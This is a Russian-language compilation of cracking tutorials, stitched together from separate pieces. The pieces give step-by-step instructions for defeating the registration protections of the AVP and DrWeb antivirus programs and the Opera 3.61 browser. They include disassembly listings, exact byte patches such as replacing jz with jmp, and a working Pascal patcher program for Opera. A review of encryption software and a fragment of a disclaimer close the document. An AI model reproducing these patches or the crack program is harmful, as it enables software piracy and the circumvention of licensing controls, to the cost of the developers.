Теперь, убедившись в том, что программа имеет требуемую функциональность продолжим исследование программы. Некоторые скажут, что мы проверили не все. Например мы не проверяли закладку Действия. Особенно пункт Лечить без запроса. Скажу сразу, лично я все это проверил. Попробуйте и Вы, поработайте немного самостоятельно.
Когда сомнения Вас покинут и Вы окончательно убедитесь, что программа в порядке, следует приниматься за более серьезные дела. Например запустить IDA Pro и дизассемблировать файл avp32.exe. Пока он дизассемблируется, откройте Win32 API Help и найдите функцию, отвечающую за состояние органов управления. Для тех, кто не знает такой функции, скажу – это EnableWindow. В файле помощи по API-функциям (Microsoft) эта функция описана так:
BOOL EnableWindow(
HWND hWnd, // указатель на окно (орган управления)
BOOL bEnable // флаг возможности ввода)
В зависимости от значения bEnable компонент может быть в состоянии Включен/Отключен (Enabled/Disabled). В состоянии Отключен орган управления игнорирует сообщения, поступающие от мыши и клавиатуры. Нам требуется обратное. Если дизассемблирование закончилось, поищите, откуда вызывается функция EnableWindow. Таких мест в программе множество. Кстати, обратите внимание на типичные последовательности вызовов – при работе над другими программами с аналогичной защитой Вам это пригодится. Типичная последовательность такова:
1.Вызывается функция GetDlgItem [в качестве аргументов - указатель на окно диалога и идентификатор органа управления]. Функция возвращает указатель на этот орган управления.
2.Вызывается функция EnableWindow [в качестве аргументов - указатель на орган управления и флаг bEnable (0 - Отключен, 1 - Включен)]. Функция делает орган управления неактивным (т.к. bEnable = 0).
Теперь у вас есть вся информация, необходимая для взлома. Как именно это сделать – Вы должны решать сами. Тем более, что взлом можно осуществить, минимум, пятью разными способами. Перечислю некоторые из них:
1.Найти функцию, в которой отключаются требуемые пункты меню, и сделать так, чтобы они включились. Cводится к поиску EnableWindow и замене предшествующей ей команды push 00 на push 01. Подсказка: так как при отключении требуется заносить в стек 0, в этой программе обнуляется регистр ebx и выполняется команда push ebx. Все, что требуется – записать в ebx 1. Преимущества – быстрота. Недостатки – недостаточно корректный взлом (об этом позже).
2.Исследовать алгоритм, проверяющий ключевой файл avp.key, и попытаться на основе этого алгоритма вычислить, какая информация в avp.key должна быть. Преимущества – в случае успеха вы становитесь “зарегистрированным” пользователем этой, а возможно и будущих версий программы без всяких побочных эффектов. Недостатки – медленно и сложно.

Есть еще и другие варианты. Вы можете выбрать любой из них.

После того, как Вы все это сделали, осталась небольшая проблемка – при запуске появляется окно с напоминанием о том, что программу необходимо зарегистрировать. Решение: создайте в директории, в которой установлен AVP, файл avp.key с любым содержанием и все проблемы исчезнут.

Часть 2. Монитор, и как с ним бороться
Вторая важная часть системы AVP – это монитор. Он проверяет все файлы, которые открываются во время вашей работы, и если обнаруживается вирус, то имеется возможность предварительно его (вирус) обезвредить и продолжить работу. Лично я монитором не пользовался и не собираюсь – лучше один раз проверить, то что приносишь, чем постоянно сидеть под наблюдением, результатом чего является снижение производительности. Но надо довести начатое дело до конца. Получить рабочую версия AVP из нерабочей демо-версии. Вообще-то, ничего нового здесь нет. Функциональность монитора урезана точно так же, как и антивируса. Я сделал так. С помощью Borland Resource Workshop открыл файл avpm.exe и посмотрел на ресурсы. В данном случае меня интересовали окна диалогов. Например ресурс с номером 113, соответсвующий окну Действия. Дважды щелкнув на нем, попадаем в окно редактировани диалога. Но редактировать ничего не будем. Двойным щелчком на RadioButton с текстом Disinifect Automatically откроем окно Button Style. В этом окне содержится некоторая необходимая информация. А именно Control ID . Для упомянутого элемента это значение равно 406h. Запомните это число – оно пригодится. Откроем IDA Pro и запустим дизассемблирование файла AVPM.EXE(если вы сами этого еще не сделали). Нажмем Alt+T для поиска текста и зададим 406h.
После нескольких попыток мы обнаружим такой участок кода:

loc_4023CE: ; CODE XREF: .text:004023C0
; .text:004023C7
xor ebx, ebx
cmp dword_4122EC, ebx
jz short loc_40240E
push ebx
push 405h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
push ebx
push 406h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
push ebx
push 407h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
loc_40240E:
Надеюсь, всем ясно, что делает этот код. В общих чертах – обнуляется регистр EBX, сравнивается с некоторой переменной. В результате сравнение осуществляется переход на ту часть программы, где блокируются соответсвующие визуальные элементы(сторого говоря, не осуществляется переход на ту часть программы, котрая продолжает работу без блокировки). Вариантов взлома – множество.
Я вданном случае заменил переход jz short loc_40240E на jmp short loc_40240E. Для этого следует поменять байт 074h(jz) на 0EBh(jmp).
Самостоятельно изучите листинг программы, найдите соответсвующие инструкции. С помощью IDA внесите изменения там, где посчитаете нужным. Запустите модифицированный файл. Посмотрите, работает ли то,что не работало. Если вы все сделали правильно, то вы должны получить возможность выбора лечения зараженных файлов. Остается проделать тот же трюк с закладкой Обьекты и Настройки. Это вы вполне можете сделать сами. Так же, в качестве упражения уберите собщение о том, что отсутсвует ключевой файл(наличие этого собщения наводит на мысли – для антивируса достаточно создать файл AVP.KEY как он сразу перестает выбрасывать это же сообщение, хотя и работать от этого не начинает. Для монитора этот номер не проходит. Может монитор все-таки использует информацию из ключевого файла – проверьте сами). Побочным эффектом данного метода является то, что устанавливаемые опции не сохраняются, и в следующей сессии их приходится устанавливать еще раз. Эта проблема тоже имеет решение. Но мне хватило того, что сделал себе рабочую версию.

интернетконецформыначалоформы30 января в свет появилась новая версия DrWeb – 4.16. Недавно я слил его себе и установил на винт.
Запустил, и обнаружил, что программа является ознакомительной версией и без регистрационного ключа имеет функциональные ограничения, в том числе одни, на мой взгляд, из самых важных – проверка архивов, включение опции “эвристический анализ” и лечение зараженных объектов, о чем в свою очередь и предупреждает, выводя сообщение при начальной загрузке.
Вас не раздражает вывод подобных сообщений, каждый раз при новой загрузке ? Меня безумно.
Поэтому я отправился на кухню, заварил себе кофе ( благородный напиток ), запасся табаком ( время то уже было 2 ночи ) и решил подправить прогу и включить все и вся.
Итак, если у вас все нужное под рукой, приступим.

А что нам надо :
SoftIce – любой версии
Hiew – тоже любой версии или любой другой правщик файлов
WDasm or IDA Pro

Где найти DrWeb 4.16 :

Для начала попробуем убрать сообщение об ознакомительной версии. ( Сразу скажу, что может и есть более короткий путь для изменения кода, но я опишу тот, по которому прошел сам).
Для этого залезаем в отладчик ( Ctl+D ) и ставим брекпоинт на сообщение -
bpx MessageBoxA
bpx MessageBoxExA
Запускаем прогу и что мы видим? Айс вывалился на ” MessageBoxA”. F12 – выходим из айса, ok – обратно в айс, в вызывающую функцию. Стираем все брекпоинты – bc * и смотрим код.
:0044EE74 FF7778 push [edi+78]
:0044EE77 FF7508 push [ebp+08]
:0044EE7A 50 push eax
* Reference To: USER32.MessageBoxA, Ord:0195h
:0044EE7B FF1534AA4700 Call dword ptr [0047AA34]
——–> вывод сообщения
:0044EE81 891E mov dword ptr [esi], ebx
:0044EE83 837DFC00 cmp dword ptr [ebp-04], 00000000
:0044EE87 89450C mov dword ptr [ebp+0C], eax

Ничего интересного, кроме каких-то проверок и подготовки самого сообщения для вывода на экран.Нажимаем опять F12 и опять попадаем в вызывающую процедуру.

:0044EEBC 8B10 mov edx, dword ptr [eax]
:0044EEBE FF74240C push [esp+0C]
:0044EEC2 FF9294000000 call dword ptr [edx+00000094]
————> процедура, описанная выше
:0044EEC8 C20C00 ret 000C
——–> сюда возвращается айс.

Теперь F10 и снова попадаем в вызывающую процедуру.

:00403ED9 6A30 push 00000030
:00403EDB 50 push eax
:00403EDC E8C9AF0400 call 0044EEAA
:00403EE1 8D4C2418 lea ecx, dword ptr [esp+18]
—————-> сюда мы вернулись
:00403EE5 C684240402000007 mov byte ptr [esp+00000204], 07

Опять смотрим код чуть-чуть выше места, куда нас вернул айс. И по адресу 00403E82 находим переход, обходящий сообщение:

:00403E71 3BF3 cmp esi, ebx
:00403E73 750F jne 00403E84
:00403E75 A194524700 mov eax, dword ptr [00475294]
:00403E7A 8A8818020000 mov cl, byte ptr [eax+00000218]
:00403E80 84C9 test cl, cl
:00403E82 746E je 00403EF2
——————> Обходим сообщение
:00403E84 8D4C2418 lea ecx, dword ptr [esp+18]
:00403E88 E825610400 call 00449FB2

Но если быть более внимательным, то можно увидеть, что на 15 байт выше есть переход, который может нам испортить все. Он находится по адресу 00403E73.
Поэтому именно и на него мы ставим очередной брекпоинт. Загружаем заново программу и видим, что отладчик вывалился на нашем брекпоинте. Условие перехода – если регистры ESI и EBX не равны. Что мы имеем ? Флаг ЗЕРО опущен, потому-что в EBX – 0 , а в ESI – 4. Этот переход все нам и портит. Поэтому делаем условие не выполнимо. Есть 3 варианта :
1. меняем CMP ESI, EBX на CMP ESI, ESI или CMP EBX, EBX
2. делаем переход на следующую строчку ( JNE 00403E84 меняем на JNE 00403E75 ) – что я и сделал
3. забиваем переход командой NOP

Далее трассируем и видим, что по адресу 00403E7A в CL копируется 0 и условие нужного нам перехода положительное. Нажимаем F5 и …….. Сообщение исчезло. Первый этап выполнен. Но чтобы быть точно уверенным, можно и здесь поставить безусловный переход. Продолжаем … Лезим в DrWeb, в настройки, и пробуем включить опцию скажем ” Эвристический анализ”. Ну как вышло ? Не хочет он совсем включатся ….. :-( ( Опять ставим брекпоинт на MessageBoxA.

bpx MessageBoxA
bpx MessageBoxExA

F5 – выходим из отладчика и снова пробуем включить эту опцию. Выскакивает айс, –> F12, –> messagebox, –> OK, –> мы в айсе, в модуле DrWeb32w.exe.
Все та же функция для сообщения (0044EE7B ), все тот же выход на команду RET по адресу 0044EEC8 ( см. выше ). Еще раз F10 и мы выходим в нужные нам просторы …… :-) ) Снова и снова прокручиваем чуть-чуть вверх и смотрим код. Вот вся процедура с момента входа в неё

:0041A970 A194524700 mov eax, dword ptr [00475294]
:0041A975 56 push esi
:0041A976 8BF1 mov esi, ecx
:0041A978 8A8820020000 mov cl, byte ptr [eax+00000220]
:0041A97E 84C9 test cl, cl
—————————–> проверка условия перехода
:0041A980 7521 jne 0041A9A3
—————————> нужный нам переход
:0041A982 8B0D18524700 mov ecx, dword ptr [00475218]
:0041A988 6A00 push 00000000
:0041A98A 6A30 push 00000030
:0041A98C 8B91B4060000 mov edx, dword ptr [ecx+000006B4]
:0041A992 52 push edx
:0041A993 E812450300 call 0044EEAA
—————–> MessageBox о недоступной опции
:0041A998 6A00 push 00000000
:0041A99A 8BCE mov ecx, esi
:0041A99C E8A0E60200 call 00449041
:0041A9A1 5E pop esi
:0041A9A2 C3 ret

Можно конечно было бы по адресу 0041A980 поставить безусловный переход, выйти из функции, посмотреть результат, и изменить еще переход или переходы, что бы все включилось, но я пошел по другому пути. Ведь без регистрационного ключа очень много опций недоступно, поэтому каждая может иметь подобный участок проверки и вывода сообщения. Менять каждую долго, хотя здесь кому как нравится ……Итак, я сделал вот как … По адресу 0041A978 в регистр CL заносится число из стека с адресом [eax+00000220] ….
Ставим брекпоинт на строчку -

0041A976 8BF1 mov esi, ecx

и снова пробуем включить опцию …. Выскакивает Айс, мы делаем шаг на следующую строчку ( F10 ) и смотрим адрес, из которого происходит занос числа в CL. Это – 0070F298. Адрес этот запомним или лучше запишем …. В дальнейшем наверняка пригодится, если придётся ставить брекпоинт, на участок памяти, по этому адресу …. Теперь попробуем узнать, где и в каком месте программа заносит сюда 0 и при каких условиях….Для начала дизассемблируем файл drweb32w.exe и поищем, нет ли еще где-то в файле строчки – byte ptr [eax+00000220] и не заносится ли где 0 при не выполнении определенных условий…. Включаем поиск и ищем …..Сразу, после первого же нажатия, программа показывает код :

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:00403B3A(C)
:00403CA3 3BF3 cmp esi, ebx
:00403CA5 7465 je 00403D0C
:00403CA7 8B1594524700 mov edx, dword ptr [00475294]
——–> в EDX адрес
:00403CAD C6821902000000 mov byte ptr [edx+00000219], 00
————-> по адресу из EDX+00000219 занести 0
:00403CB4 A194524700 mov eax, dword ptr [00475294]
———> снова адрес
:00403CB9 C6801A02000000 mov byte ptr [eax+0000021A], 00
—————-> и снова занести 0
:00403CC0 8B0D94524700 mov ecx, dword ptr [00475294]
———–> и так далее …
:00403CC6 C6811B02000000 mov byte ptr [ecx+0000021B], 00
:00403CCD 8B1594524700 mov edx, dword ptr [00475294]
:00403CD3 C6821C02000000 mov byte ptr [edx+0000021C], 00
:00403CDA A194524700 mov eax, dword ptr [00475294]
:00403CDF C6801D02000000 mov byte ptr [eax+0000021D], 00
:00403CE6 8B0D94524700 mov ecx, dword ptr [00475294]
:00403CEC C6811E02000000 mov byte ptr [ecx+0000021E], 00
:00403CF3 8B1594524700 mov edx, dword ptr [00475294]
:00403CF9 C6821F02000000 mov byte ptr [edx+0000021F], 00
:00403D00 A194524700 mov eax, dword ptr [00475294]
:00403D05 C6802002000000 mov byte ptr [eax+00000220], 00
———–> а вот и заносится 0, для дальнейшей проверки на опцию “эвристический анализ”
:00403D05 C6802002000000 mov byte ptr [eax+00000220], 00
:00403D0C 8B0D94524700 mov ecx, dword ptr [00475294]
:00403D12 8A8119020000 mov al, byte ptr [ecx+00000219]
:00403D18 84C0 test al, al
:00403D1A A198454700 mov eax, dword ptr [00474598]

Но нам надо просмотреть все места, поэтому продолжаем поиск … Еще одно место, где есть такая строчка – адрес -0041A978. Ну как знакомое число ? Конечно !!! Это то место, где выполняется проверка, и в зависимости от результата становится доступен или нет “эвристический анализ”. Больше в файле подобных мест нет. Если взять любой другой адрес, скажем 00403CEC, то узнаем, повторив все выше перечисленное, что этот адрес отвечает за возможность “проверки архивов”.
Итак, место, что все нам портит и не дает нормально настроить DrWEB найдено.Теперь записываем адрес ( 00403CAC – на него мы поставим брекпоинт ), и загружаем drweb32w.exe. Далее, как вам угодно, попадите в отладчик и поставьте брекпоинт на 00403CAC.
Выпав при загрузке drweb32w.exe на этом месте, мы увидим, что программа не переходит на следующей строчке по адресу 00403D0C, а продолжает выполнять процедуру, записывая нули по знакомым нам уже адресам. Итак, все, что нам надо было, найдено ! Теперь мы по адресу 00403CA5 делаем безусловный переход ( забиваем командой NOP или меняем на je 00403CA7 ) и далее каждый 00 меняем на 01.
Снимаем все брекпоинты (bc * ) и запускаем программу заново. Лезем в настройки и ………..
WOW ! Все включается и работает на все 100%.Ну чтож, задача решена !!!Запускайте DrWEB 4.16 и принимайтесь искать какой-нибудь Windows CIH,словленный где-то в сети ……:-)) Шутка !!!

Модуль Spider.exe мною не изучался, хотя и имеет точно такие же ограничения без регистрационного ключа, в силу того, чтобы экономить память. Вам также не советую вешать эту штуку в память машины, тем более, если у вас ее мало. Лучше каждый стрёмный файл проверить сканером, и его же запускать скажем раз в неделю на проверку всего винта. Удачи и весёлого времяпровождения !!!

интернетВсе нижесказанное, помеченное *, является моими советами в дизассемблировании в среде WinDasm.
Сколько я не лазил в этой проге, не нашел, где генерируется рег. ключ, поэтому не отчаявшись (самое главное! никогда не бросать начатое!), я решил не обойти саму защиту, а сделать так, чтобы прога сама зарегистрировалась (хе-хе).

Ломать будем в WinDasm v8.93, т.к. я считаю маловато про WinDasm в этих статьях сказано, а ведь
такая вещица классная, многие с нее начинали. Многого знать не надо ну кроме базисов, вроде основные в статье Dr.Golova описаны.

TOOLZ:
WinDasm 8.93, Hiew 6.11, Far (или NC), ну и самаOpera 3.61

Ну, вернемся к нашим бар.. Opera.

Заходим в браузер… Мда непорядок, первое, что бросается в глаза – это “unregistered” вверху экрана, да и еще, если успели заметить, при загрузке идет Registered to : unregistered. Вот и начнем отсюда. Выходим из проги, заходим в Far( NC или что там у вас), в директории Opera, копируем файл opera.exe в opera.xxx и opera.w32

*Я советую использовать именно эти расширения, т.к. они являются наиболее удобными, где *.xxx – backup; *.w32 – этот файл мы будем дизассемблировать; а в opera.exe будем с помощью HIEW вносить изменения. Т.е. если что-нибудь запорем, то дорога в “copy opera.xxx opera.exe” ;) )

Так, выходим из Far по Alt+Tab, т.к. он нам еще пригодится. Заходим в WinDasm и дизассемблируем файл opera.w32………………….. ;) ))))))))))))))

*Следующий шаг – это просмотр SDR (т.е. String Data Reference), в меню Refs – последний пункт.

Здесь то мы и должны найти наш “unregistered”.

*Если прога объемная, как в этом случае с Оперой, то удобно будет скопировать все references кнопкой Copy All.

Ура нашли: String Resource ID=21428: ” (unregistered)”, чтобы попасть в это место достаточно дважды щелкнуть по строке.

*ОЧЕНЬ ВАЖНО! В проге может быть не одно это место, а несколько, так что щелкайте несколько раз, и смотрите на адреса.

Смотрим первое совпадение:

* Referenced by a (U)nconditional or (C)onditional Jump at Address: <- Первый переход
|:0045F8EF(C)
|
:0045F91F 381D58F55200 cmp byte ptr [0052F558], bl
:0045F925 7535 jne 0045F95C
:0045F927 BE80000000 mov esi, 00000080
:0045F92C 56 push esi
:0045F92D 57 push edi

* Possible Reference to String Resource ID=20092: "Opera 3.61"
|
:0045F92E 687C4E0000 push 00004E7C
:0045F933 8BCD mov ecx, ebp
:0045F935 E8850D0000 call 004606BF
:0045F93A 57 push edi
:0045F93B E8E0A60800 call 004EA020
:0045F940 59 pop ecx
:0045F941 2BF0 sub esi, eax
:0045F943 A30CF55200 mov dword ptr [0052F50C], eax
:0045F948 56 push esi
:0045F949 8D8058F55200 lea eax, dword ptr [eax+0052F558]
:0045F94F 50 push eax

* Possible Reference to String Resource ID=21428: " (unregistered)" <---- Это наш

"unregistered"
|
:0045F950 68B4530000 push 000053B4
:0045F955 8BCD mov ecx, ebp
:0045F957 E8630D0000 call 004606BF

************ ТОЖЕ ВАЖНО! ************

Q: Почему в WinDasm все пишут основные строчки внизу, а не вверху, это неудобно!
A: Т.к. Программа идет сверху вниз ;) , а нам нужно посмотреть ЧТО вызвало этот "unregistered"

Q: До какого момента мы смотрим вверх, где останавливаться???
A: Обычно в WinDasm идем вверх до первого jne/je ; jl/jbl; test; cmp ... или до Reference Jump.
***************************************

На данном этапе необходимо остановиться и задуматься, а то ли это место, ведь посмотрите: есть и "unregistered", и "Opera 3.61", и переходов между ними нет, а может это всего лишь: "Opera 3.61 (unregistered)" в главном окне вверху... ИСТИННУ ГЛАГОЛИШЬ.

Смотрим другой адрес (надеюсь, еще не забыли то правило, насчет нескольких мест):

* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B27, "Opera 3.60" <--- Странно,

3.60, что разработчики по этому поводу думают?
|
:00495F64 68272B0000 push 00002B27
:00495F69 FF7508 push [ebp+08]
:00495F6C FFD6 call esi
:00495F6E 8D8540FBFFFF lea eax, dword ptr [ebp+FFFFFB40]
:00495F74 50 push eax
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B25, " "
|
:00495F75 68252B0000 push 00002B25
:00495F7A FF7508 push [ebp+08]
:00495F7D FFD6 call esi
:00495F7F 8D856CFCFFFF lea eax, dword ptr [ebp+FFFFFC6C]
:00495F85 50 push eax

* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B26, " "
|
:00495F86 68262B0000 push 00002B26
:00495F8B FF7508 push [ebp+08]
:00495F8E FFD6 call esi
:00495F90 393D64005300 cmp dword ptr [00530064], edi <---Сравнивание с edi
:00495F96 752A jne 00495FC2 <--- "ПЕРвЫй переХод"
:00495F98 68FF000000 push 000000FF
:00495F9D 8D85C4FEFFFF lea eax, dword ptr [ebp+FFFFFEC4]
:00495FA3 50 push eax

* Possible Reference to String Resource ID=21428: " (unregistered)" <--- Вот ОН наш

REAL unreg.
|
:00495FA4 68B4530000 push 000053B4
:00495FA9 FF3570FA5200 push dword ptr [0052FA70]
:00495FAF FFD3 call ebx
:00495FB1 8D85C5FEFFFF lea eax, dword ptr [ebp+FFFFFEC5]
:00495FB7 50 push eax
МДАСССССС, спокуха, это все фигня на самом деле.
ТАК, как всегда, ловим первый попавшийся переход, вот и он:

:00495F90 393D64005300 cmp dword ptr [00530064], edi
:00495F96 752A jne 00495FC2 <--- "ПЕРвЫй переХод"

*Je/Jne - Unconditional(jump if equal)/Conditional(jump if not equal); здесь важно понять эти действия: "Если [00530064] НЕРАВНО edi, то перейти на ПРАВИЛЬНУЮ РЕГИСТРАЦИЮ". (Действительно запутывающе).

Смотрите, до него идет сравнивание значения в [00530064] с edi. Ну, поняли? Всего лишь осталось сделать так, чтобы в этом значении И БЫЛО ЭТО edi !!!

Давайте снова остановимся и задумаемся, каким образом сравнивается значение из [00530064] с edi? Ведь для того, чтобы сравнить что-либо, нужно поместить туда что-нибудь, А КАК ПОМЕСТИТЬ?

Чтобы найти, место, где помещается определенное значение в [00530064], сделаем так: в WinDasm жмем поиск и печатаем, почти ничего не изменяя: mov dword ptr [00530064]

Согласитесь, логично, если там cmp, то здесь mov (*ЧИТАТЬ СТАТЬЮ Dr.Golova ОБ ОСНОВАХ АССЕМБЛЕРА !)

И WinDasm найдет нам всего лишь одну (в случае с Оперой) ссылку, туда и пойдем:

:00495E1F E8C3630200 call 004BC1E7
:00495E24 3BC7 cmp eax, edi
:00495E26 A364005300 mov dword ptr [00530064], eax <--- То, что искали.

ЧТО отсюда можно извлечь? Самое главное: все происходит в

:00495E1F E8C3630200 call 004BC1E7

Идем в эту функцию:

:004BC1E7 8D8138010000 lea eax, dword ptr [ecx+00000138]
:004BC1ED 85C0 test eax, eax
:004BC1EF 741A je 004BC20B <--- 1 Переход.
:004BC1F1 803800 cmp byte ptr [eax], 00
:004BC1F4 7415 je 004BC20B <--- 2 Переход.
:004BC1F6 81C190030000 add ecx, 00000390
:004BC1FC 51 push ecx
:004BC1FD E8A647FDFF call 004909A8
:004BC202 85C0 test eax, eax
:004BC204 59 pop ecx
:004BC205 7404 je 004BC20B <--- 3 Переход.
:004BC207 6A01 push 00000001 <--- Еденицу на стек.
:004BC209 58 pop eax <--- Снимаем еденицу из стека в еах.
:004BC20A C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004BC1EF(C), :004BC1F4(C), :004BC205(C)
|
:004BC20B 33C0 xor eax, eax
:004BC20D C3 ret

Видим чудеса: 3 перехода на обнуление и выход да еще видим сравнение eax с 0 и снова выход, что же здесь думать-то, если после последнего перехода есть установка этой самой единицы!!!

Нус, осталось всего-то с первого перехода прыгнуть на установку единицы!
Теперь убеждаемся, что в WinDasm строка установлена на 4BC1EF (горит зеленым), потом на 4BC207 и смотрим внизу на смещение (Offset), это BC1EF и BC207.

*Для использования в HIEW смещения (offsets) из WinDasm берем БЕЗ последней h (например "BC1EFh" из WinDasm) для использования в HIEW возьмем только "BC1EF".

Переходим в Far Manager по Alt-Tab (remember the very begining?), и "hiew opera.exe", там переходим в F4 > Decode Mode, потом F5 > Search BC1EF и наконец редактируем: жмем F3 (Edit), потом F2 (Asm) и пишем: jmps BC207 (вместо je…), и наконец жмем F9 (Update), чтобы сохранить изменения.

(* Прим. Dr.Golova: Можно сделать иначе, поскольку HIEW умеет преводить виртуальные адреса из WinDasm в реальные файловые. Мы сразу наберем адрес 4BC1EF из WinDasm в окошке “GoTo” HIEW’a (те же самые F4 > DecodeMode > F5), только его надо дополнить точкой и нулями до вида “.004BC1EF”. Попадем в то же самое место. Как проще – решать вам, но так по крайней мере не надо смотреть offset. *)

THAT’s All folks ;) )))

Вот мой патч на ПАСКАЛЕ:
——————————cut——————————–
program opera161_crack;
Const A: Array[1..2] of Record
A : Longint;
B : Byte;
End = ( (A : $BC1EF; B : $EB),
(A : $BC1F0; B : $16) );
Var Ch : Char;
I : Byte;
F : File;

Begin
Writeln(’Kondor’’s patch’, #10#13, ‘Crack for Opera v1.61′);
Assign(F, ‘OPERA.EXE’);
Reset(F, 1);

If IOResult <> 0 then
begin
Writeln(’File not found!’);
Halt(1);
end;

For I := 1 to 2 do
Begin
Seek(F, A[I].A);
Ch := Char(A[I].B);
BlockWrite(F, Ch, 1);
End;

Writeln(#10#13, ‘File successfully patched!’);
End.

интернетПринцип современной криптозащиты заключается не в создании шифровки, которую невозможно прочесть (такое практически невозможно), а в повышении затрат криптоанализа. То есть зная сам алгоритм шифрования, но не знаю ключа, взломщик должен потратить миллионы лет на расшифровку. Ну или столько, сколько понадобится (как известно информация перестаёт быть важной после смерти ваших близких и вас самих), пока x-files не потеряют актуальность. При этом сложность вступает в противоречии с лёгкостью использования: данные должны шифроваться и расшифровываться достаточно быстро при использовании ключа. Программы, которые попали в сегодняшний обзор, в целом удовлетворяют двум названным критериям: они достаточно просты в эксплуатации, при этом используют в меру стойкие алгоритмы.
DriveCrypt
Начнём мы с проги, которая сама по себе достойна отдельной статьи или цикла статей. Уже при установке я был удивлён дополнительной возможностью создания ложной операционной системы. Сразу же после завершения общения с мастером установки ДрайвКрипт предложил создать хранилище ключей. Хранилищем может быть выбран любой файл: файл, рисунок, мп3. После того как путь к хранилищу указан, вбиваем пароли, коих у нас целых два типа: master & user. Отличаются они доступом к настройкам DCPP – пользователь не имеет возможности что-то изменить, он может лишь просматривать заданные настройки. Каждый тип может состоять из двух и боле паролей. Собственно доступ к установке защиты может быть представлен как по паролю мастера, так и по паролю пользователя.
Перед тем, как шифровать любые диски, нужно проверить корректность установки защиты загрузки. Будьте внимательны, если не проверить корректность работы защиты загрузки и сразу же зашифровать диск, то восстановить его содержимое будет невозможно. После проверки можно переходить к шифрованию диска или раздела. Чтобы зашифровать диск или раздел, следует выбрать Disk Drives и нажать Encrypt. Мастер шифрования диска откроет окно, в котором будет предложено выбрать ключ из хранилища. Диск будет зашифрован этим ключом и этот же ключ потребуется для дальнейшей работы с диском. После того, как ключ выбран, будет запущен процесс шифровки диска. Процесс достаточно долгий: в зависимости от объема шифруемого диска или раздела он может занимать до нескольких часов.
В общем всё это достаточно просто и стандартно. Гораздо интереснее поработать с ложной осью. Отформатируем раздал на жёстком диске обязательно в FAT32 (похоже, слухи о смерти этой файловой системы оказались сильно преувеличены :) ), поставим Windows, установим DriveCrypt. Создаваемая ложная операционная система должна выглядеть как рабочая, постоянно используемая. После того, как скрытая операционная система будет создана, загружаться и работать с ложной ОС крайне опасно, поскольку есть вероятность разрушить данные скрытой операционной системы. Накидав в систему всякий мусор, создаём новое хранилище, авторизуемся в DCPP, переключаемся на вкладку Drives, выделяем раздел, где установлена ложная операционная система и фтыкаем HiddenOS. Откроется окно настроек. Здесь всё просто: указываем путь к только что созданному хранилищу, пароли, метку скрытого диска, его файловую систему и количество свободного места, которое будет отделять ложную операционную систему от скрытой. После фтыкания кнопки Create Hidden OS будет запущен процесс создания скрытого раздела и всё содержимое системного раздела будет скопировано на скрытый раздел. Прога создаст скрытый раздел, начало которого будет находиться через указанный при создании скрытого раздела промежуток свободного места от окончания ложного раздела. Перезагружаемся и авторизуемся вводом паролей, которые были указаны при создании скрытого раздела. Содержимое ложной операционной системы не будет видно при работе в скрытой ОС, и наоборот: при работе в ложной операционной системе не будет видно скрытой ОС. Таким образом, только введённый пароль при включении компьютера определяет то, какая операционная система будет загружена. После окончания создания скрытой операционной системы в неё нужно войти и зашифровать системный раздел.
При помощи DriveCrypt можно зашифровать любой жесткий диск или сменный накопитель (за исключением CD и DVD) и использовать его для обмена данными между пользователями. Несомненным плюсом обмена данными на полностью зашифрованном носителе является невозможность обнаружения на нём каких-либо файлов, носитель выглядит не отформатированным. Даже располагая информацией о том, что носитель зашифрован, при отсутствии ключа данные прочитать будет невозможно.
DriveCrypt шифрует целый диск или раздел, позволяя скрыть не только важные данные, но и всё содержимое диска или раздела, включая операционную систему. К сожалению, за такой уровень безопасности приходится расплачиваться значительным падением производительности файловой системы.
Files Cipher
Здесь мы встречаем довольно оригинальный алгоритм шифрования с закрытым ключом длиной от 4 до 255 символов, разработанный самими авторами проги. Причем, пароль-ключ не хранится внутри зашифрованного файла, что уменьшает возможность его взлома. Принцип работы программы прост: указываем файлы или папки, которые необходимо зашифровать, после чего прога предлагает ввести ключ. Для большей надежности ключик можно подбирать не только на клавиатуре, но и с помощью специальной панели. Эта панель, походу дела, была нагла украдена у MS Word (вставка – символ). Подтвердив ввод пароля, мы вынудим программу зашифровывать файл, присвоив ему расширение *.shr.
Files Cipher способен сжимать шифруемые файлы с помощью встроенного алгоритма архивации. К тому же после шифрования исходный файл может удаляться с жесткого диска без возможности восстановления. Программа работает с файлами любых типов, а также поддерживает файлы размером более 4 Gb (для NTFS). При этом системные требования к компьютеру очень скромные и ресурсов в отличии от фронтмена кушается всего ничего.
PGP Personal Desktop
В PGP реализовано шифрование как открытыми, так и зарекомендовавшими себя симметричными ключами: AES с шифрованием до 256-битного, CAST, TripleDES, IDEA и Twofish2. Для управления ключами шифрования имеется опция PGP Keys, которая выводит окошко с отображением пользовательских ключей и добавленных в список открытых ключей. Схема работы модуля для шифрования дисков PGP Disk… мммм… как бы это сказать? А, элементарна. Опять таки создаём файл Хранилище Ключей (я его про себя называю Ключником), вводим пароли. Причем при указании пароля отображается специальный индикатор стойкости (качества), который, кстати, наглядно демонстрирует актуальность сложных паролей: так, стойкость пароля, состоящего из восьми цифр, примерно равна стойкости шестибуквенного или четырехзначного, в котором есть один спецсимвол (восклицательный знак) и три буквы.
Очень понравилось, что создатели подумали и об ICQ (кто читал логи Сталкера после дефейса мазафаки, тот поймёт… или они не в аси были и я что-то путаю?). После установки в окошке аськи появляется специальная иконка, с помощью которой и включается защита сессий.
Что касается самой больной темы – утечки информации через своп-файл – авторы сами признали, что наглухо перекрыть этот канал утечки они не смогли ввиду особенностей функционирования операционной системы. С другой стороны, предприняты меры по уменьшению данной угрозы – все важные данные хранятся в памяти не дольше, чем это необходимо. После завершения операции вся критически важная информация из памяти удаляется. Таким образом, эта уязвимость имеет место, и для ее ликвидации нужно либо отключить виртуальную память (что может привести к заметному ухудшению работы ОС), либо предпринять дополнительные меры по защите.

интернетЦель данной статьи – показать способ взлома вашего компьютера. Автор не несет никакой ответственности за ущерб, который может быть следствием прочтения этого сообщения.

